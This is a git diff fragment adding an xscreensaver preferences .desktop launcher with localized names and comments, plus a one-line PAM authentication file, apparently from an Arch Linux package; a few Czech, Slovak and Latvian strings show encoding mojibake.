b/xscreensaver-arch-logo/xscreensaver-properties.desktop new file mode 100644 index 0000000..4b15137 --- /dev/null +++ b/xscreensaver-arch-logo/xscreensaver-properties.desktop @@ -0,0 +1,160 @@ +[Desktop Entry] +Encoding=UTF-8 +Name=Screensaver +Name[ar]=حافظة الشاشة +Name[as]=স্ক্ৰীনছেভাৰ +Name[ast]=Curiapantalles +Name[be]=Ахоўнік экрана +Name[be@latin]=Źbierahalnik ekranu +Name[bg]=Предпазител на екрана +Name[bn]=স্ক্রীনসেভার +Name[bn_IN]=স্ক্রিন-সেভার +Name[ca]=Estalvi de pantalla +Name[crh]=Ekran qoruyıcısı +Name[cs]=Å etřič obrazovky +Name[cy]=Arbedwr sgrin +Name[da]=Pauseskærm +Name[de]=Bildschirmschoner +Name[dz]=གསལ་གཞི་ཉེན་སྲུང་། +Name[el]=Προστασία οθόνης +Name[en_CA]=Screensaver +Name[en_GB]=Screensaver +Name[es]=Salvapantallas +Name[et]=Ekraanisäästja +Name[eu]=Pantaila-babeslea +Name[fa]=محافظ صفحهٔ نمایش +Name[fi]=Näytönsäästäjä +Name[fr]=Économiseur d'écran +Name[ga]=Spárálaí Scáileáin +Name[gl]=Protector de pantalla +Name[gu]=સ્ક્રીનસેવર +Name[he]=שומר מסך +Name[hi]=स्क्रीनसेवर +Name[hr]=Čuvar zaslona +Name[hu]=Képernyővédő +Name[id]=Screensaver +Name[is]=Skjáhvíla +Name[it]=Salvaschermo +Name[ja]=スクリーンセーバー +Name[ka]=ეკრანმზოგი +Name[kn]=ಸ್ಕ್ರೀನ್‌ಸೇವರ್ +Name[ko]=화면 보호기 +Name[ku]=Dîmenderparêz +Name[lt]=Ekrano užsklanda +Name[lv]=Ekrānsaudzētājs +Name[mg]=Sary mitsitsy +Name[mk]=Чувар на екранот +Name[ml]=സ്ക്രീന്‍സേവര്‍ +Name[mn]=Дэлгэц гамнагч +Name[mr]=स्क्रीनसेवर +Name[nb]=Skjermsparer +Name[ne]=स्क्रिनसेभर +Name[nl]=Schermbeveiliging +Name[nn]=Skjermsparar +Name[oc]=Estalviaire d'ecran +Name[or]=Screensaver +Name[pa]=ਸਕਰੀਨ-ਸੇਵਰ +Name[pl]=Wygaszacz ekranu +Name[ps]=پرده ساتونکی +Name[pt]=Protecção de Ecrã +Name[pt_BR]=Proteção de tela +Name[ro]=Economizor de ecran +Name[ru]=Хранитель экрана +Name[si]=තිරආවරකය +Name[sk]=Å etrič obrazovky +Name[sl]=Ohranjevalnik zaslona +Name[sq]=Ruajtës ekrani +Name[sr]=Чувар екрана +Name[sr@latin]=Čuvar ekrana +Name[sv]=Skärmsläckare +Name[ta]=திரை சேமிப்பி +Name[te]=తెరకాపరి +Name[th]=โปรแกรมรักษาหน้าจอ +Name[tr]=Ekran koruyucu +Name[uk]=Збереження екрану +Name[vi]=Bộ bảo vệ màn hình +Name[zh_CN]=屏幕保护程序 +Name[zh_HK]=螢幕保護程式 +Name[zh_TW]=螢幕保護程式 +Comment=Set your screensaver preferences +Comment[ar]=اضبط خصائص حافظة الشاشة +Comment[as]=আপোনাৰ স্ক্ৰীনছেভাৰেৰ পছন্দসমূহ নিৰ্ধাৰণ কৰক +Comment[ast]=Afite les sos preferencies pal curiapantalles +Comment[be]=Вызначэньне пераваг ахоўніка экрана +Comment[be@latin]=Nałady źbierahalnika ekranu +Comment[bg]=Настройване на предпазителя на екрана +Comment[bn]=আরনার স্ক্রীনসেভারের পছন্দসমূহ সেট করুন +Comment[bn_IN]=স্ক্রিন-সেভার সংক্রান্ত পছন্দ নির্ধারণ করুন +Comment[ca]=Establiu les preferències de l'estalvi de pantalla +Comment[crh]=Ekran qoruyıcısı tercihleriñizni tesbit etiñiz +Comment[cs]=Nastaví Å¡etřič obrazovky +Comment[cy]=Gosod eich hoffterau arbedwr sgrin +Comment[da]=Sæt dine indstillinger for pauseskærm +Comment[de]=Einstellungen des Bildschirmschoners ändern +Comment[dz]=ཁྱོད་རའི་གསལ་གཞི་ཉེནསྲུང་གི་དགའ་གདམ་ཚུ་ གཞི་སྒྲིག་འབད། +Comment[el]=Ρύθμιση των προτιμήσεων σας για την προστασία οθόνης +Comment[en_CA]=Set your screensaver preferences +Comment[en_GB]=Set your screensaver preferences +Comment[es]=Configure su salvapantallas +Comment[et]=Ekraanisäästja eelistuste seadmine +Comment[eu]=Ezarri pantaila-babeslearen hobespenak +Comment[fa]=ترجیحات محافظ صفحهٔ نمایش خود را تنظیم کنید +Comment[fi]=Aseta näytönsäästäjän asetukset +Comment[fr]=Définir vos préférences pour l'économiseur d'écran +Comment[ga]=Socraigh do chuid sainroghanna spárálaí scáileáin +Comment[gl]=Definir as súas preferencias para o protector de pantalla +Comment[gu]=તમારી સ્ક્રીનસેવર પસંદગીઓ સુયોજિત કરો +Comment[he]=קבע את העדפות שומר המסך +Comment[hi]=अपना स्क्रीनसेवर पसंद सेट करें +Comment[hr]=Podesite postavke čuvara zaslona +Comment[hu]=A képernyővédő tulajdonságainak beállítása +Comment[id]=Tentukan setingan screensaver anda +Comment[is]=Stilltu valmöguleika fyrir skjávhvíluna +Comment[it]=Imposta le preferenze del salvaschermo +Comment[ja]=お使いのスクリーンセーバーを設定します +Comment[ka]=ეკრანმზოგის პარამეტრების მითითება +Comment[kn]=ನಿಮ್ಮ ಸ್ಕ್ರೀನ್‌ಸೇವರ್ ಆದ್ಯತೆಗಳನ್ನು ಅಣಿಗೊಳಿಸಿ +Comment[ko]=화면 보호기를 설정합니다 +Comment[ku]=Vebijêrkên dîmenderparezê mîheng bike +Comment[lt]=Nurodykite ekrano užsklandos nustatymus +Comment[lv]=UzstādÄ«t sava ekrānsaudzētāja uzstādÄ«jumus +Comment[mg]=Mamaritra ny safidy manokan'ny sary mitsitsy +Comment[mk]=Поставете ги преференциите за чуварот на екранот +Comment[ml]=നിങ്ങളുടെ സ്ക്രീന്‍സേവറിന്റെ മുന്‍ഗണനകള്‍ സജ്ജീകരിയ്ക്കുക +Comment[mn]=Дэлгэц гамнагчийн тохиргоонуудыг байрлуул. +Comment[mr]=तुमची स्क्रीनसेवर प्राधान्यता निश्चित करा +Comment[nb]=Sett brukervalg for skjermspareren +Comment[ne]=स्क्रिनसेभर प्राथमिकता सेट गर्नुहोस् +Comment[nl]=Uw schermbeveiliging-voorkeuren instellen +Comment[nn]=Set brukarval for skjermspararen +Comment[oc]=Definir vòstras preferéncias per l'estalviaire d'ecran +Comment[or]=ଆପଣଙ୍କର ସ୍କ୍ରିନସେଭର ପସନ୍ଦଗୁଡିକୁ ସ୍ଥିର କରନ୍ତୁ +Comment[pa]=ਸਕਰੀਨ-ਸੇਵਰ ਲਈ ਆਪਣੀ ਪਸੰਦ ਦਿਓ +Comment[pl]=Ustawienia wygaszacza ekranu +Comment[ps]=د خپل پرده ساتونکي غوراوي وټاکئ +Comment[pt]=Defina as suas preferências de protecção de ecrã +Comment[pt_BR]=Defina suas preferências de proteção de tela +Comment[ro]=Schimbați opțiunile economizorului de ecran +Comment[ru]=Параметры хранителя экрана +Comment[si]=ඔබගේ තිරආවරක අභිප්‍රේත සකසන්න +Comment[sk]=NastaviÅ¥ predvoľby vášho Å¡etriča obrazovky +Comment[sl]=Nastavitve ohranjevalnika zaslona +Comment[sq]=Përcakto preferimet e ruajtësit tuaj të ekranit +Comment[sr]=Сопствене поставке чувара екрана +Comment[sr@latin]=Sopstvene postavke čuvara ekrana +Comment[sv]=Ställ in dina skärmsläckarinställningar +Comment[ta]=உங்கள் திரை சேமிப்பி முன்னுரிமைகளை அமைக்கவும் +Comment[te]=మీ తెరకాపరి యొక్క అభీష్టాలు అమర్చుకొను +Comment[th]=ปรับแต่งโปรแกรมรักษาหน้าจอของคุณ +Comment[tr]=Ekran koruyucunuzun tercihlerini belirtin +Comment[uk]=Встановити параметри збереження екрану +Comment[vi]=Lập các tùy thích cho trình bảo vệ màn hình +Comment[zh_CN]=设定您的屏幕保护程序首选项 +Comment[zh_HK]=設定螢幕保護程式 +Comment[zh_TW]=設定螢幕保護程式 +Exec=xscreensaver-demo +Icon=xscreensaver +Terminal=false +Type=Application +StartupNotify=true +Categories=Settings;DesktopSettings;Security; diff --git a/xscreensaver-arch-logo/xscreensaver.pam b/xscreensaver-arch-logo/xscreensaver.pam new file mode 100644 index 0000000..b4d80c2 --- /dev/null +++ b/xscreensaver-arch-logo/xscreensaver.pam @@ -0,0 +1 @@ +auth required pam_unix_auth.so -- 2.30.2